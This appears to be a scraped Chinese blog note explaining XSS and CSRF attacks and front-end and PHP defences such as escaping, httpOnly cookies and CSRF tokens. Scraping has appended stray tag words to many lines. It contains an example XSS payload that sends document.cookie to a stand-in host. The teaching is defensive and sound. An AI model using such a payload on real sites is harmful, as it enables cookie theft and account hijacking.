前端安全

(理解請看淺談WEB安全性(前端向))
javascript

看過文章 對web安全有了理解。在針對這個課題,簡單陳述。php

安全的問題大多數仍是依賴與後臺的過濾和攔截措施。css

防範措施也就是編寫前臺代碼時要避免的地方html

有兩種常見的攻擊方式前端

一、XSS:跨站腳本攻擊java

      xss也就是 cross site scriting攻擊爲了區分css縮寫採用了xss縮寫 跨站腳本攻擊mysql

      也就是javascript代碼注入簡單理解就是往他人web頁面裏插入惡意的script代碼。web

b.com/search?name=
<script>document.location='http://vajoy/get?cookie='+document.cookie</script>複製代碼


對於XSS的預防天然也是對提交數據的過濾,另外還有一點——謹慎返回用戶提交的內容!sql

  1. 過濾轉義輸入輸出
  2. 避免使用evalnew Function等執行字符串的方法,除非肯定字符串和用戶輸入無關
  3. 使用cookie的httpOnly屬性,加上了這個屬性的cookie字段,js是沒法進行讀寫的
  4. 使用innerHTML、document.write的時候,若是數據是用戶輸入的,那麼須要對象關鍵字符進行過濾與轉義

二、CSRF:跨站請求僞造數據庫

CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。

其實就是網站中的一些提交行爲,被黑客利用,在你訪問黑客的網站的時候進行操做,會被操做到其餘網站上
CSRF防護措施:

  1. 檢測http referer是不是同域名
  2. 避免登陸的session長時間存儲在客戶端中
  3. 關鍵請求使用驗證碼或者token機制


其餘的一些攻擊方法還有HTTP劫持、界面操做劫持


資源

百度百科XSS

百度百科CSRF

淺談WEB安全性(前端向)

題0

如何過濾輸入輸出

一、php安全編程之過濾用戶輸入和輸出轉義

      (1)經過函數mysqli_real_escape_string()過濾對數據庫有影響的字符串,避免sql注入。

      (2)經過函數htmlspecialchars和htmlentities前者用來轉義&,>,<等字符,後者是轉義全部html標籤,避免XSS攻擊。

例如:<script>this.document = 某個網站地址?+this.cookie</script> 轉義後會變成 &lt;script&gt;this.document = 某個網站地址?+this.cookie&lt;/script&gt;


二、js過濾轉義輸入輸出    要研究一下

前端轉義(這個感受不是太好 輸出的時候仍是要過來)

function stringEncode(str){
    var div=document.createElement('div');
    if(div.innerText){
        div.innerText=str;
    }else{
        div.textContent=str;//Support firefox
    }
    return div.innerHTML;
}

相關文章
相關標籤/搜索